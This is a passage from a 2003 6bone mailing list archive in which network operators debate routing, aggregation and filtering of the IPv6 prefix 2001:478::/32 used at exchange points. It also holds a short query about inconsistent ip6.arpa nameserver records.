wanted those blocks to be reachable. I heared some rumors that
some ISP's already wanted to start creating filters based on
the allocations made by the RIR's thus really squashing anything
that is not allocated by them and keeping their tables clean.
Yes, they thus can't reach those filtered blocks, but that is
primarily the announcers fault as it basically isn't announcing
anything. Note that GRH doesn't count these blocks either.
Announce your full allocation or get filtered.
Maybe currently it is a bit harsh, but in a couple of years...

Quite fortunate that IPv6 is easy to renumber. Especially
in small networks like IX's ;)

(Hmmm I think that IX's where not covered in that last renumbering draft)

Greets,
 Jeroen

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From stuart@tech.org Thu Sep  4 12:53:58 2003
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To: Pekka Savola <pekkas@netcore.fi>
cc: 6bone@ISI.EDU
Subject: Re: [6bone] 2001:478:: as /48 
In-reply-to: Your message of "Thu, 04 Sep 2003 22:24:18 +0300."
             <Pine.LNX.4.44.0309042222080.6720-100000@netcore.fi> 
Date: Thu, 04 Sep 2003 12:53:52 -0700
From: Stephen Stuart <stuart@tech.org>
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> On Thu, 4 Sep 2003, Stephen Stuart wrote:
> > We lose:
> > 
> > - In combination with RPF checking, we would lose the ability to see a
> >   traceroute through an exchange point (assuming that the ICMP
> >   feedback was sourced using the IX-connected address).
> 
> You would be running "strict RPF" checking towards your upstreams?  
> Otherwise I fail to see how RPF checking would get broken here.

If I am not connected to the exchange point, and the exchange point
prefix is not in my FIB/RIB (depending on whose implementation of uRPF
we're talking about), then ICMP feedback sourced from IX-connected
routers will not make it into my network if *loose* uRPF is turned on;
from afar, a traceroute will show "* * *" rather than an IX address.

> > - The ability to ping the near and far sides of an exchange point
> >   boundary from a distance; this is sometimes useful for determining
> >   the character of asymmetric routing (when the RTTs for near and far
> >   side vary greatly).
> 
> Ping a loopback address of a remote router and compare to ping to your 
> local router?

That may not measure what I am trying to measure (the route to the
block containing the loopback may be different from the route to the
exchange point prefix).

I may not know the loopback of someone else's router.

I may be trying to diagnose an issue with my routes at an exchange
point to which I am not connected, so I may not have a "local" router.

Stephen

From cds@io.com Thu Sep  4 19:58:53 2003
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Date: Thu, 04 Sep 2003 19:33:24 -0400
From: Chris Liljenstolpe <cds@io.com>
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Subject: [6bone] non-global address space for IXs (was: 2001:478:: as /48)
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I have to disagree here.  Having globally routable address space for each 
hop on a network path is really, really useful for troubleshooting.  We've 
run into issues where folks have used private address space in the v4 
world for "private" portions of the public Internet, and it make 
troubleshooting and operational support very painful.  Please do not go 
down this road in v6.

        Chris

>
> Date: Fri, 05 Sep 2003 00:34:43 +0900 (JST)
> To: bmanning@ISI.EDU
> Cc: 6bone@ISI.EDU
> Subject: Re: [6bone] 2001:478:: as /48
> From: Akira Kato <kato@wide.ad.jp>
>
>
>> this prefix has/is being carved up into /48 and /64 subnets for
>> use at exchange points and other infrastructure support services.
>
>> Do not expect to see it aggregated.
>
> I have a question: do we need to make such a prefix assigned to
> an exchange point reachable globally?
>
> Provided if every ISP uses "next-hop-self" to their I-BGP peering, the
> addresses on an IX is used only for E-BGP peering. What we loose if
> nobody advertises the IX prefix globally (or even locally)?
>
> If the address is not globally reachable, it is impossible to send
> packets to the routers on the IX and this will be a measure for the
> remote DoS attack if not perfect.
>
> In order to make traceroute happy we may need to establish a DNS zone
> for reverse lookup. But such a DNS server does not have to be on the
> IX.
>
> Akira Kato, WIDE Project
> P.S.
> This discussion is also applicable to IPv4...
>
>
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From bmanning@ISI.EDU Thu Sep  4 21:52:27 2003
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From: Bill Manning <bmanning@ISI.EDU>
Message-Id: <200309050452.h854qJg20944@boreas.isi.edu>
Subject: Re: [6bone] 2001:478::  as /48
In-Reply-To: <000c01c372e5$85bdedc0$050900c1@unfix.org> from Jeroen Massar at "Sep 4, 3 03:07:39 pm"
To: jeroen@unfix.org (Jeroen Massar)
Date: Thu, 4 Sep 2003 21:52:19 -0700 (PDT)
Cc: bmanning@ISI.EDU, 6bone@ISI.EDU
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% > From: Bill Manning <bmanning@ISI.EDU>
% > Subject: 2001:478::  as /48
% > To: 6bone@ISI.EDU
% > Date: Sun, 21 Jul 2002 09:16:40 -0700 (PDT)
% > 
% > this prefix has/is being carved up into /48 and /64 subnets for
% > use at exchange points and other infrastructure support services.
% 
% IX Prefixes by the RIR's come out of:
%  - 2001:7f8::/32 
%  - 2001:504::/32 
%  - 2001:7fa::/32 

	Yup. and this prefix predates all of them.  One could argue
	that once the RIRs saw the need and that it was being filled
	elsewhere, that they created polcies so they could also offer
	that service.
 
% Which RFC/draft/... made this prefix so special ?

	None. Why is this concept in the perview of the IETF?

% > Do not expect to see it aggregated. 
% 
% I would suggest that if you want it to be routable that one
% entity announces the /32 that is not going to be filtered.
% This way the more specific will still allow it to be reachable.

	Well, since they are spread over a wide area (globally)
	and there is no single transit provider that touches all
	the exchanges, such aggregation would be problematic.
	See the previous post on routability.

% Btw what is the status of 6bone's ip6.arpa?

	One might check in w/ the v6ops WG of the IETF.

% 
% Greets,
%  Jeroen
% 
% -----BEGIN PGP SIGNATURE-----
% Version: Unfix PGP for Outlook Alpha 13 Int.
% Comment: Jeroen Massar / jeroen@unfix.org / http://unfix.org/~jeroen/
% 
% iQA/AwUBP1c5GimqKFIzPnwjEQKLxgCcCW3SqQmuiMcWNggPL5xrI2p5/h8AnieJ
% Z9hjHnojYYQgP+cn1duzKiol
% =rpWH
% -----END PGP SIGNATURE-----
% 
% _______________________________________________
% 6bone mailing list
% 6bone@mailman.isi.edu
% http://mailman.isi.edu/mailman/listinfo/6bone
% 
[End of raw data]


-- 
--bill

Opinions expressed may not even be mine by the time you read them, and
certainly don't reflect those of any other entity (legal or otherwise).


From bmanning@ISI.EDU Thu Sep  4 21:56:05 2003
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Subject: Re: [6bone] 2001:478::  as /48
In-Reply-To: <20030904151118.GC10637@bfib.colo.bit.nl> from Pim van Pelt at "Sep 4, 3 05:11:18 pm"
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% | From: Bill Manning <bmanning@ISI.EDU>
% | Subject: 2001:478::  as /48
% | To: 6bone@ISI.EDU
% | Date: Sun, 21 Jul 2002 09:16:40 -0700 (PDT)
% | 
% | this prefix has/is being carved up into /48 and /64 subnets for
% | use at exchange points and other infrastructure support services.
% Please, tell me that you are not saying that you will pollute my routing
% table with /64s now already ?

	Not me. I (AS 4555) may hand you a couple of /48s tho.
	ISPs at exchanges where these prefixes are used may send 
	a /48 to you as well.


--bill
Opinions expressed may not even be mine by the time you read them, and
certainly don't reflect those of any other entity (legal or otherwise).

From bmanning@ISI.EDU Thu Sep  4 21:59:05 2003
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Subject: Re: [6bone] 2001:478:: as /48
In-Reply-To: <20030905.003443.39013416.kato@wide.ad.jp> from Akira Kato at "Sep 5, 3 00:34:43 am"
To: kato@wide.ad.jp (Akira Kato)
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% 
% > this prefix has/is being carved up into /48 and /64 subnets for
% > use at exchange points and other infrastructure support services.
% 
% > Do not expect to see it aggregated. 
% 
% I have a question: do we need to make such a prefix assigned to
% an exchange point reachable globally?

	No, but as Stuart explains later, it can be very useful
	in diagnosis  of transit issues.  For the purposes of 
	non-IX use, e.g. infrastructure support, I would like to 
	see the /48s routable.

% In order to make traceroute happy we may need to establish a DNS zone
% for reverse lookup. But such a DNS server does not have to be on the
% IX.

	True enough.

% Akira Kato, WIDE Project
% This discussion is also applicable to IPv4...

-- 
--bill

Opinions expressed may not even be mine by the time you read them, and
certainly don't reflect those of any other entity (legal or otherwise).


From bmanning@ISI.EDU Thu Sep  4 22:00:38 2003
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Subject: Re: [6bone] 2001:478::  as /48
In-Reply-To: <Pine.LNX.4.21.0309041236120.1858-100000@Overkill.EnterZone.Net> from John Fraizer at "Sep 4, 3 12:44:29 pm"
To: tvo@enterzone.net (John Fraizer)
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% John Fraizer

	Thank you for your kind words

--bill
Opinions expressed may not even be mine by the time you read them, and
certainly don't reflect those of any other entity (legal or otherwise).

From bmanning@ISI.EDU Thu Sep  4 22:02:38 2003
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From: Bill Manning <bmanning@ISI.EDU>
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Subject: Re: [6bone] 2001:478:: as /48
In-Reply-To: <11B985B0-DEFA-11D7-B9A5-000393758B2E@2sheds.de> from Andrew Miehs at "Sep 4, 3 07:06:05 pm"
To: andrew@2sheds.de (Andrew Miehs)
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% I, on the other hand, do not agree with NOT announcing this block.

	You are entitled to your opinion and can back that opinion
	in the routers you configure.  See the previous post on 
	what I expect for this prefix.  If you see it at all, it
	should be in /48 chunks. Anything smaller is in error.

--bill
Opinions expressed may not even be mine by the time you read them, and
certainly don't reflect those of any other entity (legal or otherwise).

From bmanning@ISI.EDU Thu Sep  4 22:08:53 2003
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Subject: Re: [6bone] 2001:478::  as /48
In-Reply-To: <000c01c37316$6fb985d0$210d640a@unfix.org> from Jeroen Massar at "Sep 4, 3 08:57:48 pm"
To: jeroen@unfix.org (Jeroen Massar)
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% I know who Bill is and what he does, but I don't understand
% why in ARIN space a company uses it's *own* /32 as IX prefixes
% and then suddenly expects it to be handled like the *dedicated*
% IX prefixes of which there is one in each RIR.

	well, the EP delegation predates any of the RIR "micro"
	allocations.  And the notice that this was the expected
	behaviour for this prefix was annoucned in 2001, 2002 and
	now in 2003 to this list.

% And the fun part is that there is no announcement of the /32
% but the whole world suddenly is expected to just allow /48's
% and other stuff from it. Is everybody suddenly going to do this?

	I did not impune that "the whole world" should allow
	/48s.  The expectation is that if you see anything from 
	this prefix at all, it should be as /48s. Anything smaller
	is either a configuration error or a hijack.

% Bypassing established policies and thinking up whatever they
% want? In that case we can just start our own IANA and start
% giving out IPv6 and making policies. It is a global internet
% and everybody is equal abiding the policies. If the policy
% is wrong then we'll have to amend the policy.

	Use of 2001:0478::/32 pre-dates RIR policies.

 
% Greets,
%  Jeroen

--bill
Opinions expressed may not even be mine by the time you read them, and
certainly don't reflect those of any other entity (legal or otherwise).

From bmanning@ISI.EDU Thu Sep  4 22:12:46 2003
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Subject: Re: [6bone] 2001:478:: as /48
In-Reply-To: <000f01c37317$97da6420$210d640a@unfix.org> from Jeroen Massar at "Sep 4, 3 09:06:05 pm"
To: jeroen@unfix.org (Jeroen Massar)
Date: Thu, 4 Sep 2003 22:12:42 -0700 (PDT)
Cc: andrew@2sheds.de, 6bone@ISI.EDU
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% > I, on the other hand, do not agree with NOT announcing this block.
% 
% So suddenly 2001:478::/32 is handled as an IX Prefix?
% Thus we got a new so-proclaimed RIR in the US then making up
% their own policies?

	Er, no.  Not suddenly. The delegation was made and justified
	with the expectation that it would be used for IXes.
	EP.NET is not an RIR, self-proclaimed or otherwise.

% 2001:478::/32 is a *normal* TLA and it should be handled as such.

	Like all the other TLAs.

% The owner could request people to not filter it on more specifics
% but they CAN'T demand it. As there is no /32 being announced the
% owner of this TLA can simply expect that they are not reachable
% globally. The same thing goes for IX prefixes, filter on allocation
% boundaries. Thus check http://www.space.net/~gert/RIPE/ipv6-filters.html

	No expectation of demand. No expectation of "reachability"
	There is the expectation that intermediate ISPs will not
	do something stupid and proxy aggregate this prefix.  That 
	should not happen.

% Every ISP has a choice to filter or to not to filter, it's your net.

	Amen.

%  Jeroen

--bill
Opinions expressed may not even be mine by the time you read them, and
certainly don't reflect those of any other entity (legal or otherwise).

From pekkas@netcore.fi Thu Sep  4 22:50:35 2003
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From: Pekka Savola <pekkas@netcore.fi>
To: John Fraizer <tvo@enterzone.net>
cc: Jeroen Massar <jeroen@unfix.org>, "'Bill Manning'" <bmanning@ISI.EDU>,
   <6bone@ISI.EDU>
Subject: RE: [6bone] 2001:478::  as /48
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On Thu, 4 Sep 2003, John Fraizer wrote:
> On Thu, 4 Sep 2003, Jeroen Massar wrote:
> 
> > I know who Bill is and what he does, but I don't understand
> > why in ARIN space a company uses it's *own* /32 as IX prefixes
> > and then suddenly expects it to be handled like the *dedicated*
> > IX prefixes of which there is one in each RIR.
> 
> How about because there was at least ONE v6 exchange point in the US
> running on address space from 2001:478:: BEFORE ARIN decided to to make
> use of 2001:504:: for this purpose.

Renumber.  It's trivial to set up identical BGP sessions with the new 
addresses and retire the old when your peer configures the BGP session in 
turn.  After all have done that, remove the old prefix.

-- 
Pekka Savola                 "You each name yourselves king, yet the
Netcore Oy                    kingdom bleeds."
Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings


From jeroen@unfix.org Fri Sep  5 00:54:48 2003
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To: "'Chris Liljenstolpe'" <cds@io.com>
Cc: <6bone@mailman.isi.edu>
Subject: RE: [6bone] non-global address space for IXs (was: 2001:478:: as /48)
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-----BEGIN PGP SIGNED MESSAGE-----

Chris Liljenstolpe wrote:

> I have to disagree here.  Having globally routable address 
> space for each hop on a network path is really, really useful for 
> troubleshooting.  We've run into issues where folks have used private
> address space in the v4 world for "private" portions of the public Internet,
> and it make troubleshooting and operational support very painful.  Please 
> do not go down this road in v6.

2001:478::/32 is *NOT* an IX prefix. It's a normal TLA allocated
from ARIN to a LIR. If the "IX's" in that prefix want to be reachable
they should announce the /32 and handle all the AS4555 IPv6 traffic
themselves. The /32 is not and has never been present in the GRT.

Also note that the 3 IX prefixes from the RIR's nicely note that
they are quite probably not globaly reachable because they are /48's.
Also note that for those 3 IX prefixes the /32 will not be announced
and those will quite probably not be reachable because of the /48's.

Note that some ISP's drop no-export's and thus simply do reannounce
prefixes coming from IX's. See my RIPE46 presentation and GRH.

Ofcourse anyone could announce a more specific. It's up to their
peers to filter or not.

IMHO currently, at least filter anything /48 - /128 and </16.
Aka at least use Gert's "relaxed" filter:
http://www.space.net/~gert/RIPE/ipv6-filters.html

If you are a thinking forward then use the "strict" filter.

Greets,
 Jeroen

> > Date: Fri, 05 Sep 2003 00:34:43 +0900 (JST)
> > To: bmanning@ISI.EDU
> > Cc: 6bone@ISI.EDU
> > Subject: Re: [6bone] 2001:478:: as /48
> > From: Akira Kato <kato@wide.ad.jp>
> >
> >
> >> this prefix has/is being carved up into /48 and /64 subnets for
> >> use at exchange points and other infrastructure support services.
> >
> >> Do not expect to see it aggregated.
> >
> > I have a question: do we need to make such a prefix assigned to
> > an exchange point reachable globally?
> >
> > Provided if every ISP uses "next-hop-self" to their I-BGP 
> peering, the
> > addresses on an IX is used only for E-BGP peering. What we loose if
> > nobody advertises the IX prefix globally (or even locally)?
> >
> > If the address is not globally reachable, it is impossible to send
> > packets to the routers on the IX and this will be a measure for the
> > remote DoS attack if not perfect.
> >
> > In order to make traceroute happy we may need to establish a DNS zone
> > for reverse lookup. But such a DNS server does not have to be on the
> > IX.

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Comment: Jeroen Massar / jeroen@unfix.org / http://unfix.org/~jeroen/

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| % IX Prefixes by the RIR's come out of:
| %  - 2001:7f8::/32 
| %  - 2001:504::/32 
| %  - 2001:7fa::/32 
| 
| 	Yup. and this prefix predates all of them.  
So you renumber. Duh.

-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From cds@io.com Fri Sep  5 12:26:46 2003
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Date: Fri, 05 Sep 2003 15:26:42 -0400
From: Chris Liljenstolpe <cds@io.com>
Reply-To: Chris Liljenstolpe <cds@io.com>
To: Jeroen Massar <jeroen@unfix.org>
cc: 6bone@mailman.isi.edu
Subject: RE: [6bone] non-global address space for IXs (was: 2001:478:: as
 /48)
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-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Greetings,

        Thank's Jeroen.  That's not what I was specifically referring to, 
btw.  I was referring to a proposal to make IX address non-globally 
routed, which I think is a bad idea.

        Chris


- --It is whispered that on 2003-09-05 09:54 +0200, jeroen@unfix.org
mumbled 
this regarding RE: [6bone] non-global address space for IXs (was: 
2001:478:: as /48)

> -----BEGIN PGP SIGNED MESSAGE-----
>
> Chris Liljenstolpe wrote:
>
>> I have to disagree here.  Having globally routable address
>> space for each hop on a network path is really, really useful for
>> troubleshooting.  We've run into issues where folks have used private
>> address space in the v4 world for "private" portions of the public
>> Internet, and it make troubleshooting and operational support very
>> painful.  Please  do not go down this road in v6.
>
> 2001:478::/32 is *NOT* an IX prefix. It's a normal TLA allocated
> from ARIN to a LIR. If the "IX's" in that prefix want to be reachable
> they should announce the /32 and handle all the AS4555 IPv6 traffic
> themselves. The /32 is not and has never been present in the GRT.
>
> Also note that the 3 IX prefixes from the RIR's nicely note that
> they are quite probably not globaly reachable because they are /48's.
> Also note that for those 3 IX prefixes the /32 will not be announced
> and those will quite probably not be reachable because of the /48's.
>
> Note that some ISP's drop no-export's and thus simply do reannounce
> prefixes coming from IX's. See my RIPE46 presentation and GRH.
>
> Ofcourse anyone could announce a more specific. It's up to their
> peers to filter or not.
>
> IMHO currently, at least filter anything /48 - /128 and </16.
> Aka at least use Gert's "relaxed" filter:
> http://www.space.net/~gert/RIPE/ipv6-filters.html
>
> If you are a thinking forward then use the "strict" filter.
>
> Greets,
>  Jeroen
>
>> > Date: Fri, 05 Sep 2003 00:34:43 +0900 (JST)
>> > To: bmanning@ISI.EDU
>> > Cc: 6bone@ISI.EDU
>> > Subject: Re: [6bone] 2001:478:: as /48
>> > From: Akira Kato <kato@wide.ad.jp>
>> >
>> >
>> >> this prefix has/is being carved up into /48 and /64 subnets for
>> >> use at exchange points and other infrastructure support services.
>> >
>> >> Do not expect to see it aggregated.
>> >
>> > I have a question: do we need to make such a prefix assigned to
>> > an exchange point reachable globally?
>> >
>> > Provided if every ISP uses "next-hop-self" to their I-BGP
>> peering, the
>> > addresses on an IX is used only for E-BGP peering. What we loose if
>> > nobody advertises the IX prefix globally (or even locally)?
>> >
>> > If the address is not globally reachable, it is impossible to send
>> > packets to the routers on the IX and this will be a measure for the
>> > remote DoS attack if not perfect.
>> >
>> > In order to make traceroute happy we may need to establish a DNS zone
>> > for reverse lookup. But such a DNS server does not have to be on the
>> > IX.
>
> -----BEGIN PGP SIGNATURE-----
> Version: Unfix PGP for Outlook Alpha 13 Int.
> Comment: Jeroen Massar / jeroen@unfix.org / http://unfix.org/~jeroen/
>
> iQA/AwUBP1hBFSmqKFIzPnwjEQJS3ACglwf0bDfxBaMw8qiQZtd0C7kfcNgAni4Z
> rxCrAjWROrtAZ93vkZOp5cns
> =51ex
> -----END PGP SIGNATURE-----
>
>



- -- 
Chris Liljenstolpe
GPG Keys: http://www.io.com/~cds/cdl-keys.asc
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.1 (Darwin)

iD8DBQE/WONzS7vf0lGnolIRAo8ZAKCxc05X9eOVo5PITKNtCytdPxl2XgCggmfD
Zh3LpJYeP5K1difR7woElfc=
=p+fV
-----END PGP SIGNATURE-----


From bmanning@ISI.EDU Fri Sep  5 13:12:21 2003
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From: Bill Manning <bmanning@ISI.EDU>
Message-Id: <200309052011.h85KBrM05592@boreas.isi.edu>
Subject: Re: [6bone] 2001:478::  as /48
In-Reply-To: <Pine.LNX.4.44.0309050849180.13570-100000@netcore.fi> from Pekka Savola at "Sep 5, 3 08:50:19 am"
To: pekkas@netcore.fi (Pekka Savola)
Date: Fri, 5 Sep 2003 13:11:52 -0700 (PDT)
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% On Thu, 4 Sep 2003, John Fraizer wrote:
% > On Thu, 4 Sep 2003, Jeroen Massar wrote:
% > 
% > > I know who Bill is and what he does, but I don't understand
% > > why in ARIN space a company uses it's *own* /32 as IX prefixes
% > > and then suddenly expects it to be handled like the *dedicated*
% > > IX prefixes of which there is one in each RIR.
% > 
% > How about because there was at least ONE v6 exchange point in the US
% > running on address space from 2001:478:: BEFORE ARIN decided to to make
% > use of 2001:504:: for this purpose.
% 
% Renumber.  It's trivial to set up identical BGP sessions with the new 
% addresses and retire the old when your peer configures the BGP session in 
% turn.  After all have done that, remove the old prefix.
% 

	I would, but ARIN does not want to.  That being said,
	Folks who want choice in where to get blocks for exchanges
	have that choice. 

--bill
Opinions expressed may not even be mine by the time you read them, and
certainly don't reflect those of any other entity (legal or otherwise).

From bmanning@ISI.EDU Fri Sep  5 13:18:01 2003
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Subject: Re: [6bone] non-global address space for IXs (was: 2001:478:: as /48)
In-Reply-To: <000201c37382$f7cbb0d0$050900c1@unfix.org> from Jeroen Massar at "Sep 5, 3 09:54:34 am"
To: jeroen@unfix.org (Jeroen Massar)
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% 2001:478::/32 is *NOT* an IX prefix. It's a normal TLA allocated
% from ARIN to a LIR. If the "IX's" in that prefix want to be reachable
% they should announce the /32 and handle all the AS4555 IPv6 traffic
% themselves. The /32 is not and has never been present in the GRT.

	Yes it is. EP.NET is not an LIR.  You are suggesting that
	folk who use RIR space should aggregate those into /32s?
	e.g. IX's in ARIN space should have attaching ISPs each 
	proxy aggregate 2001:510::/32 ... This is their perogative
	but its operationally nuts.  The same holds true for 2001:478::/32
	It was delegated for the purpose of supporting IXes and critical
	infrastructure.

% If you are a thinking forward then use the "strict" filter.

	forward != pragmatic or practical


% Greets,
%  Jeroen

--bill
Opinions expressed may not even be mine by the time you read them, and
certainly don't reflect those of any other entity (legal or otherwise).

From bmanning@ISI.EDU Fri Sep  5 13:18:27 2003
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From: Bill Manning <bmanning@ISI.EDU>
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Subject: Re: [6bone] 2001:478::  as /48
In-Reply-To: <20030905094542.GB28378@bfib.colo.bit.nl> from Pim van Pelt at "Sep 5, 3 11:45:42 am"
To: pim@ipng.nl (Pim van Pelt)
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% | % IX Prefixes by the RIR's come out of:
% | %  - 2001:7f8::/32 
% | %  - 2001:504::/32 
% | %  - 2001:7fa::/32 
% | 
% | 	Yup. and this prefix predates all of them.  
% So you renumber. Duh.
% 

	Why? 

-- 
--bill

Opinions expressed may not even be mine by the time you read them, and
certainly don't reflect those of any other entity (legal or otherwise).


From Q@ping.be Fri Sep  5 14:30:31 2003
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Date: Fri, 5 Sep 2003 23:30:23 +0200
From: Kurt Roeckx <Q@ping.be>
To: 6bone@ISI.EDU
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Subject: [6bone] Ip6.arpa nameserver inconsistencies?
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On IANA's site (http://www.iana.org/arpa-dom/ip6.htm) it says the
nameservers for ip6.arpa are:

     ns1.auth.iana.org. 192.0.34.126
     ns.apnic.net. 203.37.255.97
     svc00.apnic.net. 202.12.28.131
     arrowroot.arin.net. 198.133.199.110
     buchu.arin.net. 192.100.59.110
     ns.ripe.net. 193.0.0.193
     ns.eu.net. 192.16.202.11

Asking *.root-servers.net:

;; ANSWER SECTION:
ip6.arpa.               2D IN NS        NS.ICANN.ORG.
ip6.arpa.               2D IN NS        NS.RIPE.NET.
ip6.arpa.               2D IN NS        SVC00.APNIC.NET.
ip6.arpa.               2D IN NS        ARROWROOT.ARIN.NET.
ip6.arpa.               2D IN NS        BUCHU.ARIN.NET.
ip6.arpa.               2D IN NS        NS.APNIC.NET.

;; ADDITIONAL SECTION:
NS.ICANN.ORG.           2D IN A         192.0.34.126
NS.RIPE.NET.            2D IN A         193.0.0.193
NS.APNIC.NET.           2D IN A         203.37.255.97


Asking any of them returns:
;; ANSWER SECTION:
ip6.arpa.               2D IN NS        tinnie.arin.net.
ip6.arpa.               2D IN NS        ns.ripe.net.
ip6.arpa.               2D IN NS        ns.apnic.net.
ip6.arpa.               2D IN NS        ns.icann.org.

With varying additional section's.


Can anybody ellaborate on this a little?


Kurt


From tvo@EnterZone.Net Fri Sep  5 16:03:57 2003
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Date: Fri, 5 Sep 2003 19:03:30 -0400 (EDT)
From: John Fraizer <tvo@EnterZone.Net>
To: Jeroen Massar <jeroen@unfix.org>
cc: "'Chris Liljenstolpe'" <cds@io.com>, 6bone@mailman.isi.edu
Subject: RE: [6bone] non-global address space for IXs (was: 2001:478:: as
 /48)
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On Fri, 5 Sep 2003, Jeroen Massar wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
> 
> Chris Liljenstolpe wrote:
> 
> Note that some ISP's drop no-export's and thus simply do reannounce
> prefixes coming from IX's. See my RIPE46 presentation and GRH.
> 

And those ISPs should be flogged and have their peering sessions
admin-downed until such time as they gain enough clue to participate
again.


--
John Fraizer
EnterZone, Inc 
(13944+$|13944+_14813+$|13944+_17266+$)
PGP Key = 6C5903C4
Fingerprint = 2AA6 6614 1B5E EDD2 38AD C417 3E61 F975 6C59 03C4



> 


From jeroen@unfix.org Sat Sep  6 04:24:56 2003
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From: "Jeroen Massar" <jeroen@unfix.org>
To: "'John Fraizer'" <nsp-security@enterzone.net>,
   "'Pekka Savola'" <pekkas@netcore.fi>
Cc: "'Bill Manning'" <bmanning@ISI.EDU>, <6bone@ISI.EDU>
Subject: RE: [6bone] 2001:478::  as /48
Date: Sat, 6 Sep 2003 13:24:49 +0200
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-----BEGIN PGP SIGNED MESSAGE-----

John Fraizer [mailto:nsp-security@enterzone.net] wrote:

> On Fri, 5 Sep 2003, Pekka Savola wrote:
> 
> > On Thu, 4 Sep 2003, John Fraizer wrote:
> > > How about because there was at least ONE v6 exchange point in the US
> > > running on address space from 2001:478:: BEFORE ARIN decided to to make
> > > use of 2001:504:: for this purpose.

The AMS-IX was way before you, they already renumbered their IPv6
prefix a couple of times. If they can, so can you.

> > Renumber.  It's trivial to set up identical BGP sessions with the new 
> > addresses and retire the old when your peer configures the BGP session in 
> > turn.  After all have done that, remove the old prefix.
> > 
> 
> 
> How about this.  I (and the other participants at the 
> exchanges that use 2001:478LL) won't renumber.

Ah... american mentality all over again :)

But nobody demands that you do, but I do think that you should
not be suddenly yelling around the world that your TLA is
"special". It's a normal TLA and if you want any parts of
it to be reachable for sure then announce the /32. Don't
require ISP's to explicitly receive your /48's.

The prefix is from EP.NET and they all come from ASN 4555.
Let them handle the traffic if you as a user of that network
wants to receive traffic back and forth.

This is just another feeble attempt to be special, which you are not.

If you want the 'status' of an IX, then renumber, you will
be an IX and you won't be reachable either as nobody announces
the /32, and if somebody does it is plain hijacking.

> You can filter the /48's if it makes you
> happy.  I don't care.  You can whine and bitch till the end 
> of time and it isn't going to convince me that we should do ANYTHING.
>  As Bill has pointed out, the use of 2001:478:: in IX's _PRE-DATES_
> any of the "micro-allocations" for exchange point use from the RIRs.
> 
> Don't like it? Too bad.  You can't change history.

But fortunatly we can change the future :)

Greets,
 Jeroen

-----BEGIN PGP SIGNATURE-----
Version: Unfix PGP for Outlook Alpha 13 Int.
Comment: Jeroen Massar / jeroen@unfix.org / http://unfix.org/~jeroen/

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=eAHF
-----END PGP SIGNATURE-----


From jeroen@unfix.org Sat Sep  6 05:32:28 2003
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From: "Jeroen Massar" <jeroen@unfix.org>
To: "'Chris Liljenstolpe'" <cds@io.com>
Cc: <6bone@mailman.isi.edu>
Subject: RE: [6bone] non-global address space for IXs (was: 2001:478:: as /48)
Date: Sat, 6 Sep 2003 14:32:23 +0200
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-----BEGIN PGP SIGNED MESSAGE-----

Chris Liljenstolpe [mailto:cds@io.com] wrote:

> Greetings,
> 
>         Thank's Jeroen.  That's not what I was specifically 
> referring to, btw.
> I was referring to a proposal to make IX address non-globally 
> routed, which I think is a bad idea.

Effectively the current 3 IX prefixes are non-globally routable.
But because the fact that many people don't filter _at all_
you will find them running around in the wild.

Also see: http://www.ripe.net/ripe/docs/ipv6-policy-ixp.html#4

Check the "strict" filters which should be applied IMHO:
http://www.space.net/~gert/RIPE/ipv6-filters.html

As the EP.NET space is not a RIR IX prefix, but a privately hold
one, they are not included there and will never be either.
The EP.NET actually has an advantage as they are allowed to
announce the /32 making the networks reachable. For the IX
prefixes this will never happen.
Unless ARIN marks it as an IX prefix too, but then it will have
the same effect that they can't announce the /32 ;)

But as the IX prefixes are only intended for peering exchanges
and not for services this all should not be a problem unless you
are at that IX, in which case you have a static route, not in BGP.
People should set up loopback interfaces anyways and use that
address for their routers, so that the IX prefix never appears
on the wire to the outside world.

Greets,
 Jeroen

> --It is whispered that on 2003-09-05 09:54 +0200, jeroen@unfix.org
> mumbled 
> this regarding RE: [6bone] non-global address space for IXs (was: 
> 2001:478:: as /48)
> 
> > -----BEGIN PGP SIGNED MESSAGE-----
> >
> > Chris Liljenstolpe wrote:
> >
> >> I have to disagree here.  Having globally routable address
> >> space for each hop on a network path is really, really useful for
> >> troubleshooting.  We've run into issues where folks have 
> used private
> >> address space in the v4 world for "private" portions of the public
> >> Internet, and it make troubleshooting and operational support very
> >> painful.  Please  do not go down this road in v6.
> >
> > 2001:478::/32 is *NOT* an IX prefix. It's a normal TLA allocated
> > from ARIN to a LIR. If the "IX's" in that prefix want to be 
> reachable
> > they should announce the /32 and handle all the AS4555 IPv6 traffic
> > themselves. The /32 is not and has never been present in the GRT.
> >
> > Also note that the 3 IX prefixes from the RIR's nicely note that
> > they are quite probably not globaly reachable because they 
> are /48's.
> > Also note that for those 3 IX prefixes the /32 will not be announced
> > and those will quite probably not be reachable because of the /48's.
> >
> > Note that some ISP's drop no-export's and thus simply do reannounce
> > prefixes coming from IX's. See my RIPE46 presentation and GRH.
> >
> > Ofcourse anyone could announce a more specific. It's up to their
> > peers to filter or not.
> >
> > IMHO currently, at least filter anything /48 - /128 and </16.
> > Aka at least use Gert's "relaxed" filter:
> > http://www.space.net/~gert/RIPE/ipv6-filters.html
> >
> > If you are a thinking forward then use the "strict" filter.
> >
> > Greets,
> >  Jeroen
> >
> >> > Date: Fri, 05 Sep 2003 00:34:43 +0900 (JST)
> >> > To: bmanning@ISI.EDU
> >> > Cc: 6bone@ISI.EDU
> >> > Subject: Re: [6bone] 2001:478:: as /48
> >> > From: Akira Kato <kato@wide.ad.jp>
> >> >
> >> >
> >> >> this prefix has/is being carved up into /48 and /64 subnets for
> >> >> use at exchange points and other infrastructure support 
> services.
> >> >
> >> >> Do not expect to see it aggregated.
> >> >
> >> > I have a question: do we need to make such a prefix assigned to
> >> > an exchange point reachable globally?
> >> >
> >> > Provided if every ISP uses "next-hop-self" to their I-BGP
> >> peering, the
> >> > addresses on an IX is used only for E-BGP peering. What 
> we loose if
> >> > nobody advertises the IX prefix globally (or even locally)?
> >> >
> >> > If the address is not globally reachable, it is 
> impossible to send
> >> > packets to the routers on the IX and this will be a 
> measure for the
> >> > remote DoS attack if not perfect.
> >> >
> >> > In order to make traceroute happy we may need to 
> establish a DNS zone
> >> > for reverse lookup. But such a DNS server does not have 
> to be on the
> >> > IX.
> >
> > -----BEGIN PGP SIGNATURE-----
